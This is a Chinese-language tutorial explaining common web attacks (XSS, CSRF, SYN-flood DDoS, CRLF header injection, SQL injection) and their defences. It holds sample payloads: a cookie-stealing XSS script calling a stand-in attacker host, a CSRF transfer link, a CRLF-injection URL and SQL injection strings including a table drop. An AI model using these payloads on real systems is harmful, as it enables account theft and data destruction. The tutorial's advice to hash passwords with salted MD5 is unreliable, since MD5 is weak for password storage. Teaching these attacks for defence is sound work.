跨站脚本攻击(XSS)
概述
跨站脚本攻击（XSS，Cross-site scripting），指攻击者在网页中嵌入恶意脚本程序，是最常见和基本的攻击WEB网站的方法。攻击者在网页上发布包含攻击性代码的数据。当浏览者看到此网页时，特定的脚本就会以浏览者用户的身份和权限来执行。通过XSS可以比较容易地修改用户数据、窃取用户信息，以及造成其它类型的攻击，例如CSRF攻击
案例
比如论坛，然后攻击者在某条帖子内发布回复，内容是这样的 <script>window.open(“www.gongji.com?param=”+document.cookie) </script> ,如果我没有对他的内容进行处理，直接存储到数据库，那么下一次当其他用户访问他的这篇文章的时候，服务器从数据库读取后然后响应给客户端，浏览器执行了这段脚本，然后就把该用户的cookie发送到攻击者的服务器了。
解决方法
将输入可能当做脚本执行的进行转义，例如 将< 转义成<
跨站请求伪造攻击（CSRF)
概述
跨站请求伪造（CSRF，Cross-site request forgery）是另一种常见的攻击。攻击者通过各种方法伪造一个请求，模仿用户提交表单的行为，从而达到修改用户的数据，或者执行特定任务的目的。为了假冒用户的身份，CSRF攻击常常和XSS攻击配合起来做，但也可以通过其它手段，例如诱使用户点击一个包含攻击的链接
案例
银行网站A，它以GET请求来完成银行转账的操作，如：http://www.mybank.com/Transfer.php?toBankId=11&money=1000
危险网站B，它里面有一段HTML的代码如下：
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
首先，你登录了银行网站A，然后访问危险网站B，噢，这时你会发现你的银行账户少了1000块......
为什么会这样呢？原因是银行网站A违反了HTTP规范，使用GET请求更新资源。在访问危险网站B的之前，你已经登录了银行网站A，而B中 的<img>以GET的方式请求第三方资源（这里的第三方就是指银行网站了，原本这是一个合法的请求，但这里被不法分子利用了），所以你的浏 览器会带上你的银行网站A的Cookie发出Get请求，去获取资源“http://www.mybank.com /Transfer.php?toBankId=11&money=1000”，结果银行网站服务器收到请求后，认为这是一个更新资源操作（转账 操作），所以就立刻进行转账操作......
解决方法
1、采用POST请求（后端也设置成只能post请求）,增加攻击的难度.用户点击一个链接就可以发起GET类型的请求。而POST请求相对比较难，攻击者往往需要借助javascript才能实现
2、之所以被攻击是因为攻击者利用了存储在浏览器用于用户认证的cookie，那么如果我们不用cookie来验证不就可以预防了。所以我们可以采用token（不存储于浏览器）认证。
DDOS攻击
概述
分布式拒绝服务攻击（Distributed Denial of Service），简单说就是发送大量请求是使服务器瘫痪。DDos攻击是在DOS攻击基础上的，可以通俗理解，dos是单挑，而ddos是群殴，因为现代技术的发展，dos攻击的杀伤力降低，所以出现了DDOS，攻击者借助公共网络，将大数量的计算机设备联合起来，向一个或多个目标进行攻击。
案例
简单说一下tcp三次握手，客户端先服务器发出请求，请求建立连接，然后服务器返回一个报文，表明请求以被接受，然后客户端也会返回一个报文，最后建立连接。那么如果有这么一种情况，攻击者伪造ip地址，发出报文给服务器请求连接，这个时候服务器接受到了，根据tcp三次握手的规则，服务器也要回应一个报文，可是这个ip是伪造的，报文回应给谁呢，第二次握手出现错误，第三次自然也就不能顺利进行了，这个时候服务器收不到第三次握手时客户端发出的报文，又再重复第二次握手的操作。如果攻击者伪造了大量的ip地址并发出请求，这个时候服务器将维护一个非常大的半连接等待列表，占用了大量的资源，最后服务器瘫痪。
解决方法
1、最直接的方法增加带宽。但是攻击者用各地的电脑进行攻击，他的带宽不会耗费很多钱，但对于服务器来说，带宽非常昂贵。
2、云服务提供商有自己的一套完整DDoS解决方案，并且能提供丰富的带宽资源
Http Heads攻击
概述
凡是用浏览器查看任何WEB网站，无论你的WEB网站采用何种技术和框架，都用到了HTTP协议.HTTP协议在Response header和content之间，有一个空行，即两组CRLF（0x0D 0A）字符。这个空行标志着headers的结束和content的开始。“聪明”的攻击者可以利用这一点。只要攻击者有办法将任意字符“注入”到 headers中，这种攻击就可以发生
案例
以登陆为例:有这样一个url:
http://localhost/login?page=http%3A%2F%2Flocalhost%2Findex
当登录成功以后，需要重定向回page参数所指定的页面。下面是重定向发生时的response headers.
HTTP/1.1 302 Moved Temporarily
Date: Tue, 17 Aug 2010 20:00:29 GMT
Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Location: http://localhost/index
假如把URL修改一下，变成这个样子： http://localhost/loginpage=http%3A%2F%2Flocalhost%2Fcheckout%0D%0A%0D%0A%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E
那么重定向发生时的reponse会变成下面的样子：
HTTP/1.1 302 Moved Temporarily
Date: Tue, 17 Aug 2010 20:00:29 GMT
Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Location: http://localhost/checkout<CRLF>
<CRLF>
<script>alert('hello')</script>
这个页面可能会意外地执行隐藏在URL中的javascript。类似的情况不仅发生在重定向（Location header）上，也有可能发生在其它headers中，如Set-Cookie header。这种攻击如果成功的话，可以做很多事，例如：执行脚本、设置额外的cookie（<CRLF>Set-Cookie: evil=value）等。
解决方法
过滤所有的response headers，除去header中出现的非法字符，尤其是CRLF。
服务器一般会限制request headers的大小。例如Apache server默认限制request header为8K。如果超过8K，Aapche Server将会返回400 Bad Request响应
对于大多数情况，8K是足够大的。假设应用程序把用户输入的某内容保存在cookie中,就有可能超过8K.攻击者把超过8k的header链接发给受害者,就会被服务器拒绝访问.解决办法就是检查cookie的大小,限制新cookie的总大写，减少因header过大而产生的拒绝访问攻击
SQL注入
概念
通过sql命令伪装成正常的http请求参数，传递到服务器端，服务器执行sql命令造成对数据库进行攻击
案例
' or '1'= '1。这是最常见的sql注入攻击，当我们输如用户名 jiajun ，然后密码输如'or '1'= '1的时候，我们在查询用户名和密码是否正确的时候，本来要执行的是select * from user where username='' and password='',经过参数拼接后，会执行sql语句 select * from user where username='jaijun' and password=' ' or ' 1'='1 '，这个时候1=1是成立，自然就跳过验证了。
但是如果再严重一点，密码输如的是';drop table user;--，那么sql命令为select * from user where username='jiajun' and password='';drop table user;--' 这个时候我们就直接把这个表给删除了
被攻击的原因
sql语句伪造参数，然后在对参数进行拼接的后形成破坏性的sql语句，最后导致数据库受到攻击
预防
在java中，我们可以使用预编译语句(PreparedStatement)，这样的话即使我们使用sql语句伪造成参数，到了服务端的时候，这个伪造sql语句的参数也只是简单的字符，并不能起到攻击的作用。
很多orm框架已经可以对参数进行转义
做最坏的打算，即使被’拖库‘('脱裤，数据库泄露')。数据库中密码不应明文存储的，可以对密码使用md5进行加密，为了加大破解成本，所以可以采用加盐的（数据库存储用户名，盐（随机字符长），md5后的密文）方式。
